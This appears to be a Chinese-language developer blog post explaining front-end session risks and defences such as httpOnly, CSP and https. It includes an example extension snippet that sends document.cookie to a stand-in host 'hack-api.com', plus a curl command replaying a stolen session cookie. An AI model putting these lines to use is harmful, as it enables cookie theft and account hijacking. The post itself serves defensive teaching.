在現今網路身份已經是一個很稀疏平常的事情,可能一些小細節,導致自己平台的使用者都有被「盜用」的可能。
最要先認識的是以下幾個重點(本文專注於瀏覽器的部分,後端來源資料本文不提供如何設定,例如 httpOnly 配置)
- Cookie
- LocalStorage
- httpOnly
- Content Security Policy
- https
Cookie
命名由來
是因為 Cookie 是由 Server 與 Client 的識別方法,每一次透過 Server 來到前端的內容都不一定相同,有點像是國外的「幸運餅乾」一樣,每次都會拿到不一樣的結果,因此被稱為 Cookie。
負責的事情
Cookie 很單純只是一堆字串的組合,內容大概像這樣
"_ga=GA1.2.0000000000.0000000000; dwf_sg_task_completion=False; dwf_contrib_beta=False; _gid=GA1.2.0000000000.0000000000; _gat=1; user=ss123;"
這一連串的字串就是由 Server 傳送過來後,組合到前端 Cookie 中的內容,
而不論前端或後端都會將它分析成一個一個的 key/value 與 expired 的列表。
風險
從前端如果要查看現在的 Cookie 內容只要使用
console.log(document.cookie); // "_ga=xxx; user=ss123;"
再從上面的區塊中看到有一個 user=ss123 的內容,如果這個內容是可被直接存取的,那就會產生一個風險,為什麼這麼說
風險是來自於習慣
為什麼說來自於習慣,開發者都知道 user 這很可能是一個關鍵字,因為都是為了方便開發識別,如果今天是一個登入系統,當使用者尚未登入時,可能 user 會是 -1 或不存在,而使用者登入時,就會變成 user=ss123,猜一猜,可能就會知道這就是 Server 與 Client 溝通使用者驗證的一個記錄,因此就能拿來被濫用。
所以可以這麼做
透過一些釣魚套件,告訴使用者這個套件裝在某些網站上就可以有些不錯的功能可以用,但沒有告訴你的是,這套件的背後默默的做了一些事情,例如
axios({
url: 'hack-api.com',
method: 'POST'
data: document.cookie // "user=ss123"
})
就這樣簡單的程式碼,就能夠把所有的 Cookie 甚至 user 帶到指定的 Server中,然後被惡意的使用。
然後再發一個請求
> curl http://target-web.com/user --cookie "user=ss123"
可能就會被惡意查看使用者任意內容了。
LocalStorage
基本上 LocalStorage 的用法與 Cookie 大同小異,只是 LocalStorage 能夠做的事情與儲存大小比較良好,但也是缺乏了保護的作用,因此會有相同的風險問題,例如
localStorage.getItem('user')
且很多文章會提供使用 JWT 並儲存在 LocalStorage 的方法,這麼一來相信的不是資料的來源,而是 JWT 的機制,但 JWT 的機制也一再的被探討與保持風險的懷疑,但此文不探討更多 JWT 相關。
httpOnly
沒有 httpOnly
httpOnly 的出現就是為了解決容易透過瀏覽器來取得 Cookie 的問題,在瀏覽器的 Cookie 查看中都會看到這樣的類似內容
從這個結果看起來,所有的 HTTP 都並沒有被打勾,沒有被打勾的就是能透過 document.cookie
來取得內容
有 httpOnly
如果有增加 httpOnly 的內容就會變成這樣
會發現在 .facebook 的 Cookie Domain 中大部分都是有 HTTP 打勾的,也就是 httpOnly 設定,這麼一來 document.cookie
被使用時就不會出現有 HTTP 打勾的項目內容,這就是所謂的 httpOnly,因此惡意的使用者就看不到內容了。
補充:Secure 意思是這個 Cookie 只允許使用在 https 的環境中。
Content Security Policy
很多現在的網站都會忽略要設定 Content Security Policy(CSP),透過 CSP 的設定可以限制外部引用或被注入的腳本來源,大大減少了因為使用者被惡意注入腳本,導致隱私內容或帳號盜用風險。
使用方法
透過 Server 的 header 傳送至前端
Content-Security-Policy: script-src 'self'; object-src 'none';
前端 Response 則會帶有 CSP 回應頭內容,範例中回傳了兩個值
script-src
設定 script-src 為 ‘self’ 則讓網站只信任來自於自己的 domain 底下 script 引用,其他任何來源的引用都會被阻擋下來。
object-src
設定 object-src 為 ‘none’ 則不信任任何來源的資源
這麼一來可以大大降低被注入的可能,也無法濫用腳本在網站上,風險也就少了更多,還有許多 Content-Security-Policy 頭設定的值,可以自行 Google 查詢內容。
https
https 已經成為必須具備的條件,這個部分的風險不在於當下使用時,而是在傳輸的過程時會遇到幾個風險,因為這跟 Server 比較有關,因此快速簡介
http
- 封包傳送為明碼,直接顯示了資料內容
- 封包傳送為未簽名內容,容易被中間人串改內容使用
https
- 封包傳送為加密,中間人不好猜測內容
- 封包傳送有簽名,中間人只要串改內容,結果就會不相同
使用 https 會增加一些傳輸量或計算時間,但這成本是為了讓資料可以確保正確性,並且透過簽名的方式,讓資料更不容易被猜穿與識別,大大降低傳輸中被暗中操作的風險。
最後
很多時候因為專注於開發,而忘記這些只要一點點的步驟,就能更增加網站的安全與降低風險。
我是懷恩,專注於網頁前後端相關議題,如果您有興趣與我交流討論
歡迎至 Facebook 加我好友~記得要私訊告訴我一下是從 Medium 來的喲